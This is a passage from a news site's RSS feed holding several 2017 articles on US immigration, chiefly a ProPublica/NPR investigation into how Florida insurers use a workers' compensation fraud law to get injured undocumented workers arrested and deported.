Her mom also says the situation makes her feel helpless and, with DACA ending, it seems that her daughter’s “dreams and goals are getting taken away from her.”

“But as a mother, I will fight for her until I can’t fight anymore, I will never allow to let her wings get taken from her,” she said, adding that the response to her daughter’s tweet has been heartening.

“It amazes me how so many people have taken their time to read what she has to say and how it’s been from so many different kinds of people,” Tania Martinez said.

“I was ashamed of [being a DREAMer] because of what people think so it used to be a big secret but I felt it was important to speak out,” she said. “Now so many people are experiencing the same thing. It’s ten times harder for us to do things and we work really hard and I just want people to understand.”

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]]> https://briefnews.eu/this-teen-used-a-note-from-her-mom-to-open-up-about-being-undocumented-and-the-responses-are-heartwarming/feed/ 0 Tech giants are joining forces to urge Trump to protect undocumented immigrants https://briefnews.eu/tech-giants-are-joining-forces-to-urge-trump-to-protect-undocumented-immigrants/ https://briefnews.eu/tech-giants-are-joining-forces-to-urge-trump-to-protect-undocumented-immigrants/#respond Fri, 01 Sep 2017 04:47:02 +0000 http://briefnews.eu/tech-giants-are-joining-forces-to-urge-trump-to-protect-undocumented-immigrants/ Donald Trump Silicon ValleyDozens of tech-industry titans are joining forces to urge President Donald Trump to maintain protections for undocumented immigrants who are covered by the Deferred Action for Childhood Arrivals program.

That program, better known by the acronym DACA, is an Obama-era policy that shields immigrants from deportation if they were brought to the US illegally as children.

Trump was expected to announce changes to DACA on Friday, ahead of a deadline by which 10 attorneys general threatened to sue over the program if Trump did not take action.

Executives from Apple, Google, Facebook, Microsoft and many others echoed other business leaders in their letter to Trump, saying “All DACA recipients grew up in America, registered with our government, submitted to extensive background checks, and are diligently giving back to our communities and paying income taxes.” their joint letter read.

“Our economy would lose $ 460.3 billion from the national GDP and $ 24.6 billion in Social Security and Medicare tax contributions,” if DACA recipients lose their protections and face deportation, the letter continued, calling dreamers “vital to the future of our companies and our economy.”

The letter was posted on FWD.us, a bipartisan organization backed by Facebook CEO Mark Zuckerberg and other top tech industry executives. Dozens of them have signed the letter, including Microsoft CEO Satya Nadella, who wrote in a separate statement on Thursday: “DACA recipients bring a wide array of educational and professional backgrounds that enable them to contribute in crucial ways to our nation’s workforce.”

Silicon Valley luminaries and corporate CEOs have increasingly leaned in on Trump recently. Several chief executives rebuked the president over his handling of the white nationalist Charlottesville protests that turned deadly on August 12.

Trump has previously wavered on his support for DACA, saying in February, “We are going to deal with DACA with heart,” and calling the deliberations “very, very difficult.”

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]]> https://briefnews.eu/tech-giants-are-joining-forces-to-urge-trump-to-protect-undocumented-immigrants/feed/ 0 ICE: We don’t use stingrays to locate undocumented immigrants https://briefnews.eu/ice-we-dont-use-stingrays-to-locate-undocumented-immigrants/ https://briefnews.eu/ice-we-dont-use-stingrays-to-locate-undocumented-immigrants/#respond Sun, 20 Aug 2017 23:59:58 +0000 http://briefnews.eu/ice-we-dont-use-stingrays-to-locate-undocumented-immigrants/

Enlarge / Thomas Homan, Acting Director of U.S. Immigration and Customs Enforcement, seen here during a February 2016 Senate hearing. (credit: Al Drago/CQ Roll Call/Getty Images News)

The acting head of Immigration and Customs Enforcement (ICE), the federal agency charged with deportations, has confirmed in a new letter that it does not use cell-site simulators, also known as stingrays, to locate undocumented immigrants.

In the August 16 letter, which was sent to Sen. Ron Wyden (D-OR), acting Director Thomas Homan wrote that, since October 2015, ICE has followed similar guidelines put in place by the Department of Justice and the Department of Homeland Security a month earlier, which require a warrant before deploying a stingray.

Homan was responding to an earlier letter than Senator Wyden sent to him. The Oregon Democrat has also recently sent a similar letter to the Department of Justice, which has not yet responded. That August 1 letter states: “We are concerned that the Department may not be adequately disclosing to courts important details about how stingrays work and their impact on innocent Americans.”

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]]> https://briefnews.eu/ice-we-dont-use-stingrays-to-locate-undocumented-immigrants/feed/ 0 How insurance companies use a Florida law to get undocumented immigrants arrested and deported when they’re injured on the job https://briefnews.eu/how-insurance-companies-use-a-florida-law-to-get-undocumented-immigrants-arrested-and-deported-when-theyre-injured-on-the-job/ https://briefnews.eu/how-insurance-companies-use-a-florida-law-to-get-undocumented-immigrants-arrested-and-deported-when-theyre-injured-on-the-job/#respond Thu, 17 Aug 2017 23:35:40 +0000 http://briefnews.eu/how-insurance-companies-use-a-florida-law-to-get-undocumented-immigrants-arrested-and-deported-when-theyre-injured-on-the-job/ undocumented immigrant injured on jobThis story was co-published with NPR.

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At age 31, Nixon Arias cut a profile similar to many unauthorized immigrants in the United States. A native of Honduras, he’d been in the country for more than a decade and had worked off and on for a landscaping company for nine years.

The money he earned went to building a future for his family in Pensacola, Florida. His Facebook page was filled with photos of fishing and other moments with his three boys, ages 3, 7 and 8.

But in November 2013, that life began to unravel.

The previous year, Arias had been mowing the median of Highway 59 just over the Alabama line when his riding lawnmower hit a hole, throwing him into the air. He slammed back in his seat, landing hard on his lower back.

Arias received pain medication, physical therapy and steroid injections through his employer’s workers’ compensation insurance. But the pain in his back made even walking or sitting a struggle. So his doctor recommended an expensive surgery to implant a device that sends electrical pulses to the spinal cord to relieve chronic pain. Six days after that appointment, the insurance company suddenly discovered that Arias had been using a deceased man’s Social Security number and rejected not only the surgery, but all of his past and future care.

Desperate, Arias hired an attorney to help him pursue the injury benefits that Florida law says all employees, including unauthorized immigrants, are entitled to receive. Then one morning after he dropped two of his boys off at school, Arias was pulled over and arrested, while his toddler watched from his car seat.

Arias was charged with using a false Social Security number to get a job and to file for workers’ comp. The state insurance fraud unit had been tipped off by a private investigator hired by his employer’s insurance company.

With his back still in pain from three herniated or damaged discs, Arias spent a year and a half in jail and immigration detention before he was deported.

However people feel about immigration, judges and lawmakers nationwide have long acknowledged that the employment of unauthorized workers is a reality of the American economy. From nailing shingles on roofs to cleaning hotel rooms, some 8 million immigrants work with false or no papers nationwide, and studies show they’re more likely to get hurt or killed on the job than other workers. So over the years, nearly all 50 states, including Florida, have given these workers the right to receive workers’ comp.

But in 2003, Florida’s lawmakers added a catch, making it a crime to file a workers’ comp claim using false identification. Since then, insurers have avoided paying for injured immigrant workers’ lost wages and medical care by repeatedly turning them in to the state.

Workers like Arias have been charged with felony workers’ comp fraud even though their injuries are real and happened on the job. And in a challenging twist of logic, immigrants can be charged with workers’ comp fraud even if they’ve never been injured or filed a claim because legislators also made it illegal to use a fake ID to get a job. In many cases, the state’s insurance fraud unit has conducted unusual sweeps of worksites, arresting a dozen employees for workers’ comp fraud after merely checking their Social Security numbers.

What’s quietly been happening to workers in Florida, unnoticed even by immigrant advocates, could be a harbinger of the future as immigration enforcement expands under President Donald Trump.

One of Trump’s first executive orders broadened Immigration and Customs Enforcement’s priorities to include not just those convicted of or charged with a crime, but any immigrant suspected of one. The order also targets anyone who has “engaged in fraud or willful misrepresentation in connection with any official matter or application before a governmental agency.” That language could sweep in countless injured unauthorized workers because state workers’ comp bureaus and medical facilities typically request Social Security numbers as part of the claims process.

In the last few months, a Massachusetts construction worker who fractured his femur when he fell from a ladder was detained by ICE shortly after meeting with his boss to discuss getting help for his injury. In Ohio, Republican lawmakers pushed a bill that would have barred undocumented immigrants from getting workers’ comp. It passed the state’s House of Representatives before stalling in the Senate in June.

To assess the impact of Florida’s law on undocumented workers, ProPublica and NPR analyzed 14 years of state insurance fraud data and thousands of pages of court records. We found nearly 800 cases statewide in which employees were arrested under the law, including at least 130 injured workers. Another 125 workers were arrested after a workplace injury prompted the state to check the personnel records of other employees. Insurers have used the law to deny workers benefits after a litany of serious workplace injuries, from falls off roofs to severe electric shocks. A house painter was rejected after she was impaled on a wooden stake.

Flagged by insurers or their private detectives, state fraud investigators have arrested injured workers at doctors’ appointments and at depositions in their workers’ comp cases. Some were taken into custody with their arms still in slings. At least 1 in 4 of those arrested were subsequently detained by ICE or deported.

State officials defended their enforcement, noting that the workers, injured or not, violated the law and could have caused financial harm if the Social Security numbers they were using belonged to someone else. Moreover, the law requires insurers to report any worker suspected of fraud.

“We don’t have the authority or the responsibility to go out and start analyzing the intent of an insurance company or anybody else when they submit a complaint to us,” said Simon Blank, director of the Florida insurance fraud unit. “It would be unfortunate,” he said, if insurers turned in injured workers “just to do away with claims.”

Blank insisted that his investigators’ efforts have nothing to do with immigration. But ProPublica and NPR’s review found that more than 99 percent of the workers arrested under the statute were Hispanic immigrants working with false papers.

While Florida’s statute is unique, insurers, hardline conservatives and some large employers have been battling across the country for the past 15 years to deny injury benefits to unauthorized immigrants, with occasional success. In a little-noticed rulinglast fall, an international human rights commission criticized the United States for violating the rights of unauthorized immigrants, including a Pennsylvania apple picker who was forced to settle his case for a fraction of the cost of his injury and a Kansas painter who was unable to get the cast removed from his broken hand until he was deported to Mexico.

In Florida, cases against such workers have become standard practice for a group of closely affiliated insurers and employers. The private investigative firm they employ has created a wall of shame, posting the arrests it’s been involved in on its website. Critics say the arrangement encourages employers to hire unauthorized immigrants, knowing they won’t have to pay for their injuries if they get hurt on the job.

“It’s infuriating to think that when workers are hurt in the United States, they’re essentially discarded,” said David Michaels, the most recent head of the federal Occupational Safety and Health Administration. “If employers know that workers are too afraid to apply for workers’ compensation, what’s the incentive to work safely?”

The law’s real-life ramifications came as a surprise to one of the lawyers who helped draft it and who had no idea it had been used to charge hundreds of workers who’d never been hurt on the job.

“How is there insurance fraud if there’s no comp claim?” asked Mary Ann Stiles, a longtime business lobbyist and attorney for insurers. “That would not be what anybody intended it to be.”

In Arias’ case, records show he never wrote the false Social Security number on any of the various forms related to his claim. It was printed automatically by the insurance carrier, using information from his employer. But that didn’t stop the state attorney from charging him with 42 counts of insurance fraud — one for every form the number appeared on.

As part of the prosecution, investigators demanded Arias pay back $ 38,490.51 to Normandy Harbor Insurance for the medical care and benefits checks he’d already received for his injury. The insurer declined to comment. Back in Honduras, Arias, who struggles with chronic back pain, has been unable to find more than odd jobs. And he hasn’t seen his three U.S.-born sons in more than two years.

The whole time in detention, “I was always asking, ‘Why? What’s the reason I’m here? I haven’t done anything, I haven’t stolen anything, I haven’t killed anyone,’” Arias said by phone from his rural village in the state of Copán. “I was just working for my kids.”

The website of Command Investigations, located just outside Orlando, boasts of its success in hunting down workers’ comp fraud, posting like trophies a gallery of mugshotsof mostly Hispanic men and women. But most of those pictured weren’t nabbed jet-skiing with a fake knee injury. They are legitimately injured workers who Command investigators caught using false Social Security numbers.

Command, which tipped the state off to Arias, opened up shop in 2012 and quickly rose to prominence in Florida by catering to the lucrative employee leasing industry. Unlike temp agencies, which find workers and task them to businesses, employee leasing companies promise to lower businesses’ overhead by hiring their employees on paper and then leasing them back. The basic premise is that by pooling the risk of several small businesses, leasing companies can bargain for better insurance rates. Such a setup is especially attractive to mom-and-pop firms in dangerous industries, such as construction.

One of Command’s first big clients was Lion Insurance, whose affiliate SouthEast Personnel Leasing serves as the employer of record for more than 200,000 employees nationwide. According to its website, SouthEast generates $ 2.3 billion in annual revenue — about as much asclothing retailer J. Crew or the restaurant chain Red Lobster.

Since 2013, nearly 75 percent of the injured immigrants arrested in Florida for using false IDs were turned in by Command — and half worked for SouthEast, ProPublica and NPR found. SouthEast has had 43 injured workers arrested for using false Social Security numbers — more than any other company.

One reason: SouthEast, as well as its insurance carrier, Lion, and its claims processor, Packard Claims, are all owned by the same person. The unusual arrangement gives the company more control over injury claims and a consistency other firms specializing in high-risk industries can’t provide. But critics say it benefits SouthEast in more pernicious ways: Knowing that Lion and Packard can deny the claims of unauthorized workers allows SouthEast to offer discounts to contractors that other leasing firms can’t.

“They sign up these companies knowing full well that 95 percent of the employees are immigrant workers,” said Cora Cisneros Molloy, who recently began representing injured workers after two decades defending employers and insurers. “Only after an accident occurred do they determine they’re going to do an investigation and check that Social Security number.”

Controlling the empire from a six-story office building surrounded by palm trees in Holiday, Florida, is John Porreca, 68, who grew up in Philadelphia and worked in the leasing business before buying SouthEast with his wife in 1995. Despite owning one of the largest private companies in Florida, Porreca has managed to stay out of the public eye, showing up in the local press only rarely, such as when he donated the money for a baseball field for disabled children or bought a $ 4 million beachfront mansion, the size of which rankled neighbors.

Porreca didn’t respond to multiple messages left at his office or home over the course of a month. In an email, Brian Evans, an attorney for SouthEast, said Porreca declined to comment other than to say that SouthEast “strictly adheres” to the law and is not responsible for what happened to its workers, even though the company’s investigators reported them to the state.

Command’s president Steve Cassell also declined interview requests, citing confidentiality agreements with his clients.

Bram Gechtman, a Miami attorney who has represented several injured SouthEast workers, said the sheer number of cases in which Lion and Packard discovered workers’ false IDs only after they were injured raises the question of why SouthEast doesn’t do more to screen its hires.

“If I had a situation where I had all these people defrauding my company over and over and over again, allegedly, I would do something to try to stop it,” he said, “unless there was another reason why I didn’t want it to stop.”

Command and SouthEast have recently expanded to other states. Last year, a woman in Georgia was arrested for identity theft after a cart ran over her foot at a meatpacking plant and Command turned her in to the state workers’ comp bureau. In California, two staffing agencies sued SouthEast, saying its claims processor routinely denied workers’ comp claims based on immigration status, leading to litigation that increased the cost of the claims.

For workers, welcomed without question until they get hurt, getting caught in Command and SouthEast’s dragnet can upend otherwise quiet lives. Berneth Javier Castro originally came to the United States on a tourist visa in 2005 searching for the woman he’d loved and lost during the war in Nicaragua in the 1980s.

Screen Shot 2017 08 17 at 2.02.13 PMScott McIntyre for ProPublicaUnable to find her and facing debts back home for his house and his daughter’s school, Castro, now 52, overstayed his visa and found work at a St. Augustine roofing company in 2007. Initially, he was paid in cash under the table. But after a few months, the company said he needed a Social Security number to continue working. So he bought one. It was the only way he could get work, he said.

In 2011, Castro finally reconnected with Lucía Escobar using modern technology — he found her on Facebook. Escobar, 48, who had received asylum and is now a U.S. citizen, was going through a divorce. They began talking every day and planned to be together once the divorce was final.

Like many unauthorized workers, Castro feared he’d be deported if he reported an injury. So when he sliced his pinkie on some copper sheeting and got nine stitches, he stayed quiet and kept working. But a few months later, when he wrenched his back passing a load of tiles to a coworker on a roof, the company sent him to a clinic.

There, a company representative filled out the form since it was in English, Castro said. He didn’t recall the Social Security number he’d used, so the representative got it from the company and put it on the form.

The clinic gave Castro some pills for the pain. But when he returned for the follow-up appointment, he was told there was a problem with his Social Security number. Castro never returned and treated his back with heating pads and pain relief balms. He figured that was the end of it and continued working for the company for nearly a year.

Then in November 2013, state investigators turned up at his home and arrested him for insurance fraud. He had been turned in by a Command investigator working for Lion.

The workers’ comp fraud charges were eventually dropped, but Castro pleaded no contest to fraudulently using someone else’s identity. He spent five months in jail and was facing deportation before a judge granted him a voluntary departure to Nicaragua.

“The fake number, I understood because I needed it to work, but I didn’t understand the fraud,” Castro said by phone from Managua. “I’m not an irrational man. I’m not a criminal. So I didn’t understand where I might have committed fraud. It didn’t make sense to me. I never filled out a document asking for anything looking for compensation.”

Escobar sensed something was wrong when she suddenly stopped hearing from him. Then his phone was disconnected. “Every day, I went on Facebook, hoping and writing to him,” she said.

Months later, when he finally called her from Nicaragua, she was at once relieved and despondent. In 2015, after her divorce was final, she flew to Nicaragua and married him. But they still live separately, Castro in Nicaragua and Escobar outside Miami, where she cares for her grandson. They are applying for Castro to return, but the conviction could stand in his way.

Screen Shot 2017 08 17 at 2.03.58 PMScott McIntyre for ProPublica“It’s sad because when you get married, you want to be with your husband,” Escobar said. “We waited for so long to be together.”

Over the years, numerous courts have upheld the rights of unauthorized workers to receive compensation for workplace injuries, the minimum wage and protection from retaliation for joining unions. The rights stem from their status as employees regardless of their status as immigrants.

A Florida appeals court, for example, ruled in 1982 that “an alien illegally in this country” is entitled to workers’ comp benefits.

That presumption was thrown into doubt in 2002 when the U.S. Supreme Court ruledthat a group of undocumented plastics workers fired for union activities weren’t entitled to back pay because of their immigration status. Insurers and large employers immediately flooded the courts with petitions designed to claw back labor protections for unauthorized immigrants. Leading the fight in Florida were employee leasing firms.

The petitioners argued that undocumented immigrants weren’t entitled to workers’ comp since their employment was obtained illegally. Lawmakers in several states, from Colorado to North Carolina, introduced bills to block claims by unauthorized workers.

As states courts and legislatures rejected that argument, insurers began pushing to deny immigrants disability benefits, arguing that once their unauthorized status was known, they couldn’t return, like other workers, to less intensive jobs. That reasoning succeeded in Michigan and Pennsylvania, but not in Delaware and Tennessee.

In the last few years, employers and insurers have begun using a new tactic, arguing that they should only be responsible for paying lost wages based on what the immigrant would have made in their home country. In Nebraska, for example, meatpacker Cargill tried to cut off benefits to Odilon Visoso, who was injured when a 200-pound piece of beef fell on his head, saying it was too difficult to determine what he could earn in Chilpancingo, Mexico, a crime-ridden city controlled by drug cartels near his rural, mountainous village. Nebraska’s Supreme Court told the company to use Nebraska wages.

Florida’s 2003 law was part of a sweeping overhaul aimed at lowering costs for employers. According to a state Senate review, the division of insurance fraud had pushed for the provision, arguing that “many times illegal aliens are in league with unethical doctors and lawyers who bilk the workers’ compensation system.” It was easier to prove that immigrants had lied about their identities, the agency said, than to prove their injuries were fabricated.

In recent interviews, however, representatives from the state fraud unit and insurance industry couldn’t identify a single case where immigrants had worked with doctors and lawyers to defraud workers’ comp. Instead, they noted that false Social Security numbers impede insurers’ ability to investigate claims. In addition, they said, those claims could prevent the people whose identity was stolen from getting benefits if they are injured in the future.

Stiles, the attorney who was a key architect of the law, said the state’s construction industry was rife with fraud at the time and there was a lot of concern about illegal immigration. She said even immigrants who are “truly injured” should be denied benefits if they’re using illegal documents for their claim and “they shouldn’t be here in the first place.”

“I think we’re a nation of laws and we ought to be able to enforce those laws,” she said. “And if the federal government won’t do it, sometimes the state has to help itself.”

Within months of the provision passing, though, the Senate’s Banking and Insurance Committee recommended reconsideration, raising concerns that legitimately injured workers could be disqualified. But that advice was never heeded. The first criminal cases under the law showed up in 2006. The law netted laborers, farmworkers, roofers and landscapers. Several, like Arias, were hurt while working on public projects — renovating schools or pouring concrete at the zoo. But ProPublica and NPR also found arrested workers who’d been injured at McDonald’s and Best Western and turned in by major insurers like Travelers, The Hartford and Zurich.

Screen Shot 2017 08 17 at 2.06.38 PMScott McIntyre for ProPublicaIn one case, state investigators found that more than 100 workers were all using a Social Security number belonging to a 10-year-old girl.

In another in 2014, an attorney for an injured worker complained to the state that a fruit-packing company frequently used immigration status as leverage in settlements. Instead of going after the company, investigators raided the plantand arrested 106 immigrants, including the injured man’s wife.

One of SouthEast’s first cases involved a hotel housekeeper at the Comfort Suites in Vero Beach. Yuliana Rocha Zamarripa was cleaning a hotel room in 2010 when she slipped on a bathroom floor and slammed her knee on the bathtub, leaving her with pain and swelling so severe she was unable to walk.

Lion sent her to a doctor, but quickly denied her claim based on a false Social Security number.

Rocha’s mother had brought her to the United States from Mexico when she was 13, and when she turned 17, her father bought her the fake ID so she could work.

With few options, Rocha, now 32, settled her workers’ comp case for less than $ 6,000 plus attorney fees. But she never got the medical care she needed. The week before she was to receive the check, she was arrested while making breakfast for her 4-year-old son.

Rocha spent the next year cycling through jail and immigration detention, separated from her three children. She couldn’t sleep, worrying what would happen to them if she were deported.

“I said the Lord’s Prayer all the time, and I would end by asking, ‘God, give me a chance to return to my children. Don’t let anything bad happen to them,’” she said. “I had a feeling that something was not right.”

Rocha’s instincts were correct. While she was in jail, the father of her children started sexually assaulting their 10-year-old daughter, according to his arrest warrant. “I was left shattered,” Rocha said tearfully, “because I didn’t know what was happening.”

With the help of an attorney, Rocha pleaded to a lesser charge — “perjury not in an official proceeding” — and was finally released. Because of what happened to Rocha’s daughter, the attorney was able to get Rocha’s deportation canceled and help her obtain a green card.

Rocha eventually received her settlement but had to spend all of it securing her release and dealing with immigration. She now walks with a limp because her injury didn’t heal correctly.

“I think it’s an injustice what happened to me,” she said. “All because I fell, I slipped.”

The sting had been meticulously planned for weeks. The day before, detectives had scoped out the site — a two-story office building resembling a Spanish colonial mansion near downtown Fort Myers. Before the arrest, they tucked out of sight to surveil the building’s back entrance from across the street, according to the detective’s case report.

The time and manpower wasn’t to nab a gang member or drug dealer, but a coordinated effort with Command to snare a 27-year-old roofer who was at a court reporter’s office to testify in a deposition for his workers’ comp case. A year earlier in 2014, Erik Martinez was working on a roof when a nail ricocheted and hit him in the left eye. He was seeking medical care and lost wages, but like many construction workers, he was using a false Social Security number.

Though it was ostensibly a Florida Department of Financial Services operation, a state detective had worked closely with an attorney for Lion on a plan to alert officers in the final minutes of the deposition. In between questions, the attorney emailed the detective, at one point providing a description of Martinez’s clothing.

“We moved our position to the back parking lot,” the detective wrote in his report, “where we awaited word that the deposition was nearing an end.” Upon receiving confirmation, the detectives moved in, arresting Martinez as he exited the office.

Despite the extensive effort, the state attorney declined to prosecute. But the detective’s narrative reveals a larger story: In most of the injury cases reviewed by ProPublica and NPR, state fraud detectives were handed a packet from private investigators with nearly all the information needed to make an arrest.

During an hourlong interview in Tallahassee, Simon Blank, who heads the department’s Division of Investigative and Forensic Services, said his detectives conduct their own investigations and make their own decisions. Arrests at depositions, he said, only occur when they have a hard time locating somebody.

“The thing that you need to keep mind is these people are committing identity theft,” Blank said. “They’re taking somebody else’s Social Security number or somebody else’s personal information to obtain the work.”

While Blank repeatedly expressed compassion for immigrant workers who are legitimately injured, he noted that people whose Social Security numbers are used could face problems with their credit or getting medical care if a claim that wasn’t theirs showed up in their records.

The widow of the Mississippi man whose Social Security number Arias was using, Carolyn Lasseter, said it hadn’t affected her, but she doesn’t “feel sorry for people that are over here illegally.” When she bought a house after her husband’s death, the bank informed her that a different man had used his number to take out, and pay on, a loan, but it was easily fixed.

Blank’s office has been accused by some attorneys of unconstitutionally using the workers’ comp law to engage in immigration enforcement. “The real intent behind what they’re doing is to regulate immigration,” said Florida immigration attorney Jimmy Benincasa, “because they don’t feel the federal government is doing enough.”

He and others point to a 2012 U.S. Supreme Court ruling that shot down a series of Arizona immigration statutes, including one that made it a crime for unauthorized immigrants to apply for, solicit or perform work.

“Congress decided it would be inappropriate to impose criminal penalties on aliens who seek or engage in unauthorized employment,” the court wrote. “It follows that a state law to the contrary is an obstacle to the regulatory system Congress chose.”

The court noted that while federal law makes it a crime to obtain employment through fraudulent means, the forms and documents that workers submit to get jobs can only be used for federal prosecution — not for state enforcement.

“Our agency is not in the business of going after illegal people,” Blank said. “There’s quite a lot of other circumstances why people use fake names and IDs and Social Security numbers aside from immigration. You have people who might have other legal problems. You have people who are wanting to stay off the books for specific reasons, whether its divorces or liens put against them.”

Among the nearly 800 cases that ProPublica and NPR identified, only five fit the reasons Blank cited. Blank seemed unaware that earlier this year, his own office’s annual report noted that “nearly 100 percent” of the suspects investigated under the statute were undocumented workers.

“It appears that it’s being applied in a discriminatory fashion,” said Dennis Burke, the former U.S. attorney in Arizona who challenged that state’s immigration statutes. “How do you justify your enforcement being 99 percent Latino surnames?”

Burke predicted Florida would have a tough time defending the law if it’s ever heard on constitutional grounds. After the Arizona ruling in 2012, one attorney challenged the Florida statute’s constitutionality, but both Florida and U.S. supreme courts declined to take the appeal. Unlike Arizona’s law, the statute doesn’t mention immigrants specifically. But Burke said the enforcement data and the stated intent to target immigrant fraud rings are problematic.

Told of what had happened to some of the arrested workers, Blank said he felt for those people but reiterated his agency’s obligation to protect the workers’ comp system.

“I guess that is a question that our legislature should maybe look into,” he said. “What is the balance between the harm and the benefit that’s being accomplished?”

Screen Shot 2017 08 17 at 2.08.37 PMScott McIntyre for ProPublica

Juvenal Dominguez Quino worries what will happen to his 8-year-old son with special needs if he gets deported. Dominguez, 43, has lived in the United States for 19 years. But his life was thrown into uncertainty in 2014 when a construction trench he was working in collapsed, burying him in dirt and causing him to sprain his knee.

A month later, Command turned him in to state investigators after he provided a false Social Security number to an insurance adjuster. Dominguez said he told the adjuster he didn’t have papers and had made the number up in order to work — details that by themselves wouldn’t preclude him from receiving workers’ comp. But Dominguez said the adjuster insisted she needed the number to pay him benefits. Sunz Insurance and North American Risk Services, who handled the claim, declined to comment.

Dominguez was arrested in January 2015 as he was getting his son ready for school.

“My son was watching” from a window, he said, choking up. “He saw when they put the handcuffs on me.”

At the time, Dominguez still couldn’t bend his knee, so he had to sit with his legs extended across the backseat of the police car.

Dominguez pleaded no contest, and the judge sentenced him to two years probation and ordered him to pay back nearly $ 19,000 in restitution to the insurance company. He was detained by ICE and put into deportation proceedings.

Michael DiGiacomo, owner of Platinum Construction, which employed Dominguez, was surprised to hear what had become of him. DiGiacomo said Dominguez was a reliable worker, and he didn’t know his documents were fake. After Dominguez got hurt, he said, his injury was in the hands of the leasing company and their insurer.

“It really sucks for him because, you know, you come and you want to work; it sucks to have to deal with that after you got hurt,” he said. “They should have at least paid for his medical bills since he was hurt on the job.”

Screen Shot 2017 08 17 at 2.10.13 PMScott McIntyre for ProPublicaDominguez’s attorney has argued for a judge to cancel his deportation because of the harmful effect it would have on his U.S.-born son. His attorney is hopeful he will get a visa to stay.

Even if he does, the insurance company scored a victory — it got Dominguez and his medical costs to go away. “I didn’t want to do any more of anything,” he said of his physical therapy. “I didn’t want to claim anything else. I just wanted to live with it because I knew that it would only bring me more problems.”

Nixon Arias’ attorney Brian Carter said what the state and insurance companies are doing amounts to entrapment and ethnic profiling.

“Nobody looks at whether or not the Social Security number is valid for an individual named Tom Smith,” he said. “The insurance companies are using this little issue over a Social Security number to avoid any financial responsibility, and in my opinion, ethical responsibility to take care of these individuals.”

In the end, turning in Arias didn’t get the insurer off the hook. Because the state attorney offered a plea deal, Normandy would’ve had to convince a workers’ comp judge that Arias had not only used a fake Social Security number but that he had done so to obtain benefits. If it couldn’t, it would have had to pay for medical treatment and lost wages potentially totaling hundreds of thousands of dollars, Carter said. So with Arias in Honduras, Normandy offered $ 49,000 plus attorney’s fees.

Sent back to a country he hadn’t lived in for 15 years, Arias felt he had no choice but to take the offer. “I arrived empty-handed,” he said. “I didn’t have means to put a roof over my head or feed myself or buy medications.”

Despite having the settlement money, Arias said he doesn’t trust the doctors in Honduras to perform a delicate back surgery. “Here, they’re more likely to send you to the cemetery,” he said. He hopes the United States might allow him to reenter for humanitarian reasons, just to let him get the operation — and perhaps see his kids.

Research contributed by Meg Anderson and Graham Bishai of NPR and Sarah Betancourt of ProPublica. Translation services contributed by Donatella Ungredda.

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]]> https://briefnews.eu/how-insurance-companies-use-a-florida-law-to-get-undocumented-immigrants-arrested-and-deported-when-theyre-injured-on-the-job/feed/ 0 Microsoft and the UN to provide digital IDs for undocumented people https://briefnews.eu/microsoft-and-the-un-to-provide-digital-ids-for-undocumented-people/ https://briefnews.eu/microsoft-and-the-un-to-provide-digital-ids-for-undocumented-people/#respond Mon, 19 Jun 2017 23:48:11 +0000 http://briefnews.eu/microsoft-and-the-un-to-provide-digital-ids-for-undocumented-people/

It’s difficult to live without identification. In many cases, you’re shut out of banking, health care, voting rights and other basics. Microsoft and partners might just give those many undocumented people (1.1 billion of them, in fact) a shot at the identity they need, though. It’s working with Accenture and Avanade on a United Nations-backed digital ID effort that would offer legal recognition to those who’d otherwise be lost to recordkeepers. The prototype uses blockchain technology to give people a trustworthy ID that can follow them anywhere, but still respects privacy and security.

Rather than pool IDs in a central database, the initiative relies on a distributed database run by trusted parties spread across the blockchain. You don’t have to worry about a sole gatekeeper holding the keys to your life, or risk losing access because you’ve traveled to another country. And while it relies on biometrics (such as fingerprints and iris scans) for authentication, any personally identifying info is purposefully kept off the chain and exposed only when you grant access.

The digital IDs are part of ID2020, a public-private partnership pushing the UN’s 2030 Sustainable Development goal of giving every human an official identity. It could be a long while before these IDs are available, let alone in use by many undocumented people. With that said, it could represent a major breakthrough if it works as promised. So long as they get themselves into the system, refugees would be more likely to receive aid wherever they are. Those with relatively stable lives, meanwhile, could take advantage of government and financial services that were previously off-limits.

This is just one part of a larger solution. There have to be guarantees that digital ID holders will get the services they need, which is as much of a political challenge as it is technical. Provided everything falls into place, though, it could help many people get started on a better life.

Via: Reuters (Business Insider)

Source: Accenture

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]]> https://briefnews.eu/microsoft-and-the-un-to-provide-digital-ids-for-undocumented-people/feed/ 0 REPORT: Many undocumented immigrants recently rounded up by ICE agents had no criminal convictions https://briefnews.eu/report-many-undocumented-immigrants-recently-rounded-up-by-ice-agents-had-no-criminal-convictions/ https://briefnews.eu/report-many-undocumented-immigrants-recently-rounded-up-by-ice-agents-had-no-criminal-convictions/#respond Sat, 29 Apr 2017 06:42:19 +0000 http://briefnews.eu/report-many-undocumented-immigrants-recently-rounded-up-by-ice-agents-had-no-criminal-convictions/ ICE agentLM Otero/AP

Roughly half of the 675 immigrants arrested by Immigration and Customs Enforcement (ICE) agents in February had either no criminal convictions, or had at most committed traffic violations, according to data obtained by The Washington Post.

Of these:

  • Two immigrants had been convicted of homicide
  • 80 immigrants had been convicted of assault
  • 57 immigrants had been convicted for “dangerous drugs”
  • 163 immigrants had been convicted of traffic offenses — of these, 90% were for drunk driving
  • 177 of them had no criminal convictions; however, 66 had charges pending, most of which were traffic-related

From January to mid-March, the Trump administration was reported to have detained 21,362 immigrants for deportation proceedings. The amount of arrests were a 32% increase from last year, according to The Post. And while the administration said most of them were criminals, 5,441 of them were found by the Post to not be criminals.

“That makes me so angry,” said Kica Matos, the spokeswoman for the Fair Immigration Reform Movement, an organization advocating for immigrant rights. Matos claims that the figures “confirms our worst fears, which is that this administration is really trying to deport as many as possible regardless of whether they have a criminal record,” The Post reported.

The report comes during a worrisome era for undocumented immigrants, who have faced the looming threat of deportation from the Trump administration’s policies. The Obama administration’s official line was that federal authorities would not prioritize the deportation of undocumented immigrants with no criminal history — although, in practice, many immigrants with no criminal history were still deported. The Trump administration has said that Obama’s policies and rhetoric stymied the department’s efforts to ensure the safety of US citizens.

“I think their morale has suffered because of the job they were hired to do, and then in their sense, they’re … kind of hobbled or, you know, hands tied behind their back, that kind of thing,” Homeland Security Secretary John Kelly said. “And now, they feel more positive about things. I bet if you watch the morale issue, you’ll … be surprised going forward.”

“As Secretary Kelly has made clear, ICE will no longer exempt classes or categories of removable aliens from potential enforcement,” ICE spokeswoman Jennifer Elzea said. “All of those in violation of the immigration laws may be subject to immigration arrest, detention and, if found removable by final order, removal from the United States.”

